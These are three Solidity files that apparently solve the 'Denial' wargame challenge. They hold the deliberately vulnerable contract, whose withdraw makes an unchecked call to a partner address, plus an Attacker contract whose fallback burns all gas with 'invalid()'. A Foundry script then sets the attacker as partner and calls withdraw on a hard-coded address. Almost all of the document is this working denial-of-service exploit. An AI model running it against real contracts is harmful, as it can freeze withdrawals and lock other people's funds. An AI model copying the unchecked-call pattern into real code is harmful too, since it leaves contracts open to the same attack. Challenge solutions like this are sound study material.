// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        **partner.call{value:amountToSend}("");**
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {

    fallback() external payable {
        //revert(); Doesn't revert the transaction, because the call is not checked
        assembly {
            invalid()
        }
    }

}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Denial} from "../src/Denial.sol";
import {Attacker} from "../src/Attacker.sol";
import {Script} from "forge-std/Script.sol";

interface IDenial {
    function setWithdrawPartner(address _partner) external;
        function withdraw() external;
}

contract AttackScript is Script {

    IDenial target;

    function run() public {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);

        target = IDenial(0xF9a8308D4D1E2cDd101A209681A4a0F778DC2b91);
        Attacker attacker = new Attacker();

        target.setWithdrawPartner(address(attacker));
        target.withdraw();

    }
}